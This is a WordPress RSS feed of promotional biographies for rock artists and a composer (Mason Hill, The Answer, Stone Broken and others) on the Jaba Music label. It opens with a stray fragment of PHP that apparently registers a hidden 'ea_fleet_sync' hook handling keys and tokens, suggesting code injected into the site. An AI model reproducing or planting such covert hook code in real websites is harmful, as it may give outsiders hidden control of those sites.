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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Artist – Jaba Music https://jabamusic.co.uk Wed, 11 Jan 2023 14:31:30 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://jabamusic.co.uk/wp-content/uploads/2020/08/cropped-jaba-32x32.png Artist – Jaba Music https://jabamusic.co.uk 32 32 Mason Hill https://jabamusic.co.uk/artist/mason-hill/ Tue, 19 May 2020 13:28:43 +0000 http://jabamusic.co.uk/?post_type=artist&p=3496

Per Aspera ad Astra.

When the time comes to commit Mason Hill’s rock ’n’ roll adventures to the annals of history, that inspirational Latin phrase, translated literally as Through hardship, to the stars…, might serve as an apt mission statement for the young Scottish band. As documented on Against The Wall, the quintet’s explosive debut album, their journey has not been without challenges, trials which may have sunk less committed bands. But as the writer C.S. Lewis once famously noted, hardships often prepare ordinary people for an extraordinary destiny, and it’s in facing up to adversity that Mason Hill’s character, strength and unity has been forged. Emerging at a time when humanity’s resolve is being sorely tested, the themes underwriting Against The Wall – self-belief, courage, fortitude, brotherhood, conviction – resonate powerfully, giving the band’s own lived experiences a highly relatable, universal appeal. Here, finally, is a rock band to believe in.

To trace the Mason Hill story to its origins, one must travel back in time to 2008, to eavesdrop on conversations between Glasgow schoolboys Scott Taylor and James Bird. At the age of 14, Bird was already an accomplished, award-winning, gifted guitar prodigy, who’d shared a stage with Ozzy Osbourne/Black Label Society man Zakk Wylde, a personal hero, toured across the UK, and secured endorsements from leading music brands. The teenage Taylor already harboured dreams of fronting a rock ’n’ roll band, and the pair’s friendship and shared aspirations led them to form Black Velvet, a hard rock outfit who became local heroes after winning the Scottish section of prestigious European battle of the bands competition, Surface Festival, in 2012. Their triumph led to a performance at London’s O2 Arena, but more significantly, fired the duo’s imagination, offering a glimpse of what the future may hold. Emboldened by the experience, in 2013 the pair formed Mason Hill, adding drummer Craig McFetridge, bassist Matthew Ward and guitarist Marc Montgomery in due course. Five diverse, colourful characters, the members of the group were instantly bonded by a shared,  singular vision for their band: Taylor relinquished long-held plans to become an Olympic swimmer in order to focus on music, while Ward withdrew from a degree course at the University of Glasgow, where he’d been studying microbiology/virology. For these ambitious young men, Mason Hill was priority number one. 

Released in December 2015, the band’s self-titled debut EP, recorded at Motherwell’s Foundry Music Lab with Sandy Jones, served notice of the emergence of a captivating, vibrant new presence on the resurgent British rock scene, and gigs with the likes of Airbourne, Gun, Dan Reed Network and Stone Broken bolstered both their swelling reputation and fanbase. An appearance at 2017’s Planet Rockstock festival was hailed as “nothing short of a triumph” by Planet Rock magazine, who subsequently tipped the band for future stardom in a 2018 New Rock feature. And when the then-still-unsigned quintet sold out the 750-capacity The Garage in Glasgow, it was abundantly clear that here was a young, hungry group with a rapidly-expanding, fervent following and genuine, undeniable momentum. The buzz around the band began to be amplified from a whisper to a scream. 

One might wonder then, why it has taken a full seven years for Mason Hill’s debut album to emerge. There’s no simple answer to that question, but when a planned partnership with a well-regarded European label was dissolved, the group took some time out to re-assess their options. The experience was challenging: “We didn’t know if we’d even be a band after what we went through,” James Bird candidly confesses. Ultimately, Mason Hill rallied with a renewed focus and determination. Raising £16,000 via their committed and loyal fanbase through Kickstarter, in November 2019 the reinvigorated group recorded 11 songs at iverside Studios in Glasgow, with Scott Taylor later travelling to New York to track his vocals at the legendary Electric Ladyland Studios under the mentorship of renowned engineer Brian Sperber (Ozzy Osbourne/Patti Smith/3 Doors Down). Titled in acknowledgement of struggles overcome, the result is Against The Wall, the most hard-hitting and engaging debut album to emerge from the British rock scene in 2020.

From its seductive, inviting opening notes, Against The Wall is an enthralling, spellbinding distillation of everything Mason Hill have learned in their seven year history, a modern rock album for a new decade. It opens, in dramatic fashion, with the self-explanatory Reborn, one of the band’s earliest compositions, and a piece of music which will be instantly familiar to devotees as the introductory music to the quintet’s live shows. Written when Taylor and Bird were just 15 years old, and honed for the modern age, it climaxes with the lyric, “No more pain, I feel reborn”, a declaration of intent and purpose which neatly sets the tone for what is to follow. 

If one were to seek out another lyric encapsulating the defiant resolve of Against The Wall, one might do worse than alighting open the opening line of the stirring, impassioned Hold On. “Wake up, wake up,” Scott Taylor sings. “Did you really think I’d disappear?” It’s a line which speaks volumes to the group’s resilient character, a bold, fearless statement laid at the feet of anyone who ever doubted Mason Hill. That same swagger runs through the album’s gritty title track, an anthemic modern rock masterclass to file alongside the likes of Shinedown and Alter Bridge. The influence of Myles Kennedy’s band can also be detected in the beautifully bruised climactic epic Where I Belong, where Taylor sings, “I know who I am, and I know where I’ve been” before Bird launches into a stunning solo flight that recalls Guns N’ Roses legend Slash at his most lyrical. The moody, evocative Who We Are is another obvious high point: written by James Bird, it’s a compelling widescreen ballad described by its author as “a song about positivity”, with its celebration of overcoming fears and facing up to the promises of new days dawning. Broken Sons, one of the very first collaborations between the then-teenage Taylor and Bird is another empowerment anthem, calling upon the disillusioned and disaffected to dig deep and rise above the obstacles strewn across life’s winding paths. That same ‘don’t let the bastards grind you down’ mentality is sprinkled throughout No Regrets, another elevating anthem-in-waiting, calling for courage and faith when fear grips and paralyses. Somewhat ironically, the track was penned in tribute to the band signing their ill-fated first record deal, but its ‘Go for it!’ sentiments seem all the more relevant in the light of everything the band have experienced since. The future starts here. 

“I don’t think there’s any other band on the scene that has come through anything close to what we’ve had to deal with,” says James Bird without bitterness. “So much personal sacrifice has gone into this album, and obviously it’s a collection of work that means so much to us, that’s everything to us. I’m excited that we finally have the opportunity to share it with the world.”  

“Honestly, if everyone who’s asked us when is our album is coming out was to actually buy the album, we’d be looking at a Top 10 chart placing,” laughs Scott Taylor. “It’s been such a challenging time for us as a band, but we’ve grown stronger with all we’ve had to face. Everything that’s happened is written into this album, and we can’t wait to present it to our fans, old and new.” 

“It’s going to be nice to sit back and see people’s reactions,” adds Matthew Ward. “We’ve been frustrated by all the hold-ups, but now the album is finally here, and we’re ready for the next steps forward. We’ve overcome all the challenges thrown in our way, and that gives you confidence to face the future, whatever may lie ahead. We’ve evolved so much, and we’re excited for what comes next.” 

That journey begins now. No more pain, Mason Hill are where they’re meant to be.

]]> SOHMA https://jabamusic.co.uk/artist/sohma/ Mon, 18 May 2020 09:57:42 +0000 http://jabamusic.co.uk/?post_type=artist&p=3469 With every end comes a new beginning; emerging from the ashen remnants of New Jersey’s 2018 punksters The Nectars, singer Jessica Kenny and guitarist Mike Baron proudly announce SOHMA. With a fresh creative shift in direction and boundless imagination, SOHMA will be launching soon with a whole new sound, presentation and direction. Jess and Mike will be back with stories to share and great new music with their trademark vocal, guitar and keyboard soundscapes.

Slack Jaw (Cover)- https://www.facebook.com/sohmasounds/videos/300939140888409/

]]> Cormac Neeson https://jabamusic.co.uk/artist/cormac-neeson/ Tue, 05 Dec 2017 16:10:07 +0000 http://jabamusic.co.uk/?post_type=artist&p=3213 Cormac Neeson, the lead singer of Northern Irish rock band The Answer, blazed the road to rock ‘n’ roll glory for the better part of a decade, touring the world, sharing stage supports with the likes of AC/DC and The Rolling Stones, achieving both fan and peer respect as not only an outstanding vocalist but consummate performer. Neeson recorded his first ever solo album White Feather in Nashville at the legendary Studio 19, now the Sound Kitchen. The result is a powerful blend of two diverse and rich musical cultures, a Celtic / Nashville concoction highlighting Neeson’s unique vocal tones and song writing prowess. The album, due to be reissued in both Cd and Vinyl format on Social Family Records has been delayed to later in 2020 due to the Coronavirus (COVID-19) situation but will be reissued before the tour commences. Pre-orders are presently available on Neeson’s store – https://cormac-neeson-uk.myshopify.com/

Originally released as a 10 track limited edition, ‘White Feather’ was a top 5 album in the official UK Country Rock charts and received critical acclaim across the board, one that will sit easily alongside the classic singer – songwriter narrative albums.

 

Do Something Today – https://jaba-music.lnk.to/Dosomethingtoday/

White Feather – https://jaba-music.lnk.to/t_dAV/

 

 

 

]]> Neil Davidge https://jabamusic.co.uk/artist/neil-davidge/ Tue, 14 Mar 2017 10:48:00 +0000 http://jabamusic.co.uk/?post_type=artist&p=2938 As a co-writer, producer and sonic pioneer of the lauded Massive Attack albums Mezzanine, 100th Window and Heligoland, Bristol’s Neil Davidge has birthed some of the most arresting and innovative sounds on the record, helping to script and define Massive Attack’s classic and critically acclaimed cinematic sound.

He has simultaneously forged his career as a hugely respected film composer scoring a wealth of lauded features, including his collaboration with Robert Del Naja for Louis Letterier & Luc Beeson’s Unleashed, Paul McGuigan’s Push and Tia Lessin & Carl Deal’s award-winning documentary Trouble The Water.  He scored the worldwide best-selling computer game, Microsoft’s Halo 4. TV work includes BBC / Hulu’s Hard Sun, the Jez Butterworth’s blockbuster Britannia I & II for Sky, BBC / Left Bank Pictures Windrush drama, Sitting In Limbo, as well as Amazon’s All Or Nothing series on Tottenham Hotspur FC.

It has been a non-stop period of creative composition, arranging and production, one that is gathering momentum and seems destined to reach even greater heights. As well as releasing his solo album Slo Light in 2014, he has recently arranged and produced the trailer for the globally successful BBC One natural history series, Seven Worlds, One Planet, narrated by Sir David Attenborough.  Neil’s career has seen him score advertising campaigns for Jaguar and Adidas, as well as collaborating with Snoop Dogg whilst scoring music for In Prison My Whole Life, a documentary about US death-row journalist Mumia Abu-Jamal.

Neil’s unique style is based upon long and dedicated hours of alchemical, suck-it-and-see sonic experimentation fused with effortless and epic orchestral themes, driving guitar and unique electronic soundscapes.  His composition style demonstrates pulsating tension and his natural music storytelling abilities are delivered in his unsurpassed and an impossible to copy modern production style.  He is presently composing original scores for the forthcoming National Geographic/Disney series Earth Moods before moving on to the third series of Britannia.

 

]]> The Answer https://jabamusic.co.uk/artist/the-answer-2/ Fri, 10 Jun 2016 13:56:18 +0000 http://qantumthemes.xyz/sonik/demo0/?post_type=artist&p=2389 After seven long years, The Answer are back and set to make their long awaited and highly anticipated return with a new album that captures the soul of a band intent on not just reigniting the spark but burning more brightly than ever before. These four Irish rockers have regrouped and thrown themselves into the creation of album that harnesses their unique energy and relentless passion for rock music.

A fortuitous ‘how do you feel about writing again’ call from management in early Covid-stricken 2020 planted a seed that slowly gathered real pace as the band started sharing new ideas that felt exiting, fresh and relevant. The now triumphantly completed collection of work displays all of the band’s trademark raw attitude and lack of compromise. In their own words “It felt like we were back at the beginning again, a total reset’.

 

Says singer Cormac Neeson “We’ve been through a lot as a band, we’ve toured the world, made six great records we’re all proud of, given our live shows everything always and done our best to make honest and timeless music that connects with rock fans and music fans in general. After six albums and a lot of road miles we felt we needed to step back from it all and reset. Whilst that wasn’t an easy decision, with retrospect it possibly he best decision we’ve ever made because the end result is the album we’ve been waiting to make our whole lives…full of good time rock n roll and positive energy created by four brothers who quite frankly just really missed each other. We’re back and we’re ready to go!”

 

Undeniably, The Answer – completed by perennially charismatic front man Cormac Neeson, iconic guitarist Paul Mahon and the powerhouse rhythm section of bassist Micky Waters and drummer James Heatley – have achieved a great deal in their career to be proud of.

 

Emerging into the rock world spotlight in 2005, their debut single Keep Believin’ became the subject of critical acclaim and led The Answer to the ‘Best New Band’ award at that year’s Classic Rock Awards. The following year, the young band consolidated that early promise with ‘Rise’, a debut album that received universally great reviews and backed up their burgeoning reputation with fistfuls of gloriously anthemic songs like Under The Sky, Into The Gutter and Come Follow Me that delighted everyone from cantankerous classic rock fans to bright-eyed teenagers with a penchant for balls-out rock ‘n’ roll. ‘Rise’ went on to sell over 125,000 copies worldwide on the independent Albert Productions rock label, a startling debut achievement that ensured when the band released their second album, the mighty ‘Everyday Demons’, three years later, the world was more than ready to embrace The Answer on an even greater scale.

 

The ensuing years saw the band cement their fearsome reputation, both as an astonishing live band and as rock’s brightest hopes, securing high profile support slots with The Rolling Stones, Aerosmith and a two-year stint on AC/DC’s 2008 Black Ice tour, which took them around the world and into some of the biggest venues on the planet.

 

“We were thrown to the wolves a lot of nights on the road with AC/DC and all we had to fall back on was the four of us playing together,” recalls mercurial guitar hero Paul Mahon. “We had to make it work and dig in really hard. It was a super time”.

 

In 2020, long time uber fan and Australian independent hard rock label Golden Robot founder, Mark Alexander Erber, fulfilled a life-long ambition by signing The Answer to his Golden Robot Records to produce a brand-new 7th studio album, due for release in 2023; a record which, in the words of Erber will be The Answer’s “greatest balls out straight ahead rock album ever’, eclipsing the debut of Rise for power, songs and sheer attitude. To say I am excited is an understatement, for me it’s a life-long ambition and  privilege to work with these guys”

 

Produced by rising British rock producer Dan Weller (Enter Shikari, Bury Tomorrow, Those Damn Crows) and recorded at Middle farm studios in Devon, the new album promises to be something very special indeed. Says Weller, “I’ve been swamped by loads of rock bands wanting to make records but when I heard these The Answer demos, I was literally gob smacked – fabulous song after song, crafted, kicking ass, it was almost too good to be true, I simply had to get involved”.

 

With over 300,000 catalogue album sales under their belt, one of the leading pioneers of what is now colloquially known as the New Wave Of Classic Rock are now set to return in 2023 with a 7th album which they believe is without doubt their best yet. Their first performance in seven years will take place at this year’s Planet Rock stock festival, Dec 3rd 2022 and promises to be a sensational comeback.

 

The new album titled “Sundowners” will be released on Marc 17th 2023.

]]> Stone Broken https://jabamusic.co.uk/artist/stone-broken/ Mon, 04 Jul 2016 14:33:41 +0000 http://jabamusic.co.uk/?post_type=artist&p=3035 There’s an unwavering conviction running through Stone Broken’s Spinefarm Records debut, Ain’t Always Easy; the notion of taking a leap of faith in order to grab control of one’s own destiny, seizing precious moments and living your very best life, with no apologies or regrets. It’s a philosophy close to the heart of Stone Broken frontman Rich Moss, and a credo which fuels the band’s desire to take on the world with their music.

At the beginning of the decade, Moss had abandoned his life-long dream of becoming a professional musician, following the tragic death of a former bandmate who suffered from alcohol addiction. Years spent poring over guitar magazines, practising in his bedroom and playing gigs around the Black Country and the West Midlands were filed away as memories, as Wolverhampton-born Moss built a successful career as an analyst.

 Yet the idea that there must be more to life persisted. In 2013, after four years away from music, he formed Stone Broken with guitarist Chris Davis, bassist Kieron Conroy and long-time musical soulmate Robyn Haycock on drums – the four of them determined and willing to make sacrifices in pursuit of their dreams.

 “The very first song I wrote for this band is called ‘This Life’ and it’s about taking what you’re good at and using it as a vehicle to move forward, because you only have one shot at life,” says Moss. “We all came into this band a lot more mature and with a greater understanding of the industry, and we agreed between us there should be no half-measures.”

 The group’s first declaration of intent came with 2014’s self-financed, self-released EP, The Crow Flies, a calling card largely intended to secure local gigs. But it was the release, in January 2016, of debut album All In Time which truly amplified the word-of-mouth buzz around the band from a whisper to a scream. With Kerrang! Radio and Planet Rock picking up on storming opening track ‘Not Your Enemy’, the anthemic ‘Let Me Go’ and ‘Stay All Night’, plus the bruised and beautiful ‘Wait For You’, an ever-expanding audience was alerted to the fact that here was an emerging British outfit with the riffs, the choruses and songwriting smarts to make its mark on the global stage.

 “We never conceived anything to fit into a scene,” continues Rich, “we just wrote the kind of music we listen to. We saw bands such as Shinedown, Black Stone Cherry, Halestorm and Alter Bridge as our peers. People understand that we’re here because we love what we do.”

 In early 2017, following a lengthy European tour, the musicians entered Long Wave Recording Studios in Cardiff to work once again with All In Time producer Romesh Dodangoda (Motörhead, Bring Me The Horizon,Twin Atlantic) on their second album. The result, the 11 track Ain’t Always Easy, is compelling proof that the Walsall quartet are ready to stand toe-to-toe with the biggest names on the contemporary hard rock scene.

 Loaded with state-of-the-art arena-friendly anthems, Ain’t Always Easy is one of the most assured British rock albums of recent times. From stirring opener and first single ‘Worth Fighting For’ through to the blissful ‘The Only Thing I Need’, this is an absorbing, deeply heartfelt collection which marries important issues, both personal and pressing, to instantly accessible, granite-hard hard rock.

 One might trace a path from ‘Other Side Of Me’ through ‘Doesn’t Matter’ and on to ‘I Believe’ to see an unfolding triptych tracing Moss’ journey from bedroom dreamer through to rock-star-in-waiting, the frustrations of working nine to five poured into punchy, inspirational lyrics yearning for a shot at the big stages.

 “Honestly, you can be anything you wanna be,” sings Moss on ‘I Believe’. “I’ve got a feeling you’re gonna have the time of your life.”

 “’I Believe’ isn’t a note to self as such,” Moss reflects, “but it’s related to my relationship with music over the years. As a teenager, I’d flick through guitar magazines and see these rock stars and think, ‘I want to do that’, and at this point in my life it’s me telling myself and the band that we need that same self-belief to move to bigger stages.”

 Elsewhere, the album deals with the pain of addiction (‘Let Me See It All’, ‘Just A Memory’), loss (‘Anyone’), homesickness (the beautifully affecting ‘Home’) and, in the most striking, stark terms – with lyrics such as “I hear her screaming from the bedroom, it’s the same thing I heard last night…” – domestic abuse (‘Heartbeat Away’), a subject Moss admits is painfully close to home.

 “It comes from experiences that I’ve seen personally, so it’s a heartfelt song, about the impact on the person and those around them,” he states. “With ‘This Life’, we’d get a lot of people telling us that it got them through a rough patch, and I’m hoping that ‘Heartbeat Away’ might offer some strength and support to anyone similarly affected.”

 Set for release via Spinefarm Records on March 2nd  2018, Ain’t Always Easy promises to place Stone Broken at the forefront of an emboldened, increasingly fertile British rock scene… and beyond.

 “Who doesn’t like big, driving riffs and massive choruses?” asks Spinefarm’s Head Of A&R Dante Bonutto rhetorically. ”At last, a UK band with the sound and the attitude to make it possible for them to compete with rock’s elite.”

 “The success of the first album took us by surprise, but we always wanted the follow-up to break down more barriers and get us to the next level where we can step up on a global scale,” says Moss. “We’ve already got fans in the US, and they tell us they can easily imagine us on the radio there. Every rock band dreams of success in America, but we feel we’re ready.”

 “Among our fans – The Broken Army – there’s a massive buzz around everything we’re doing at the moment,” the vocalist/guitarist adds. “This is a really good time to be in this band, and now we just want everyone to hear exactly why.”

 “Anticipation for the new album is high,” acknowledges Robyn Haycock, “especially given how high we set the bar with All In Time. But, as a band, I think we’ve pushed ourselves even harder this time. We’re so proud of this record and so excited for what lies ahead.”

 One life. One band. One vision. For Stone Broken, the time is now.

All In Time

Ain’t Always Easy

 

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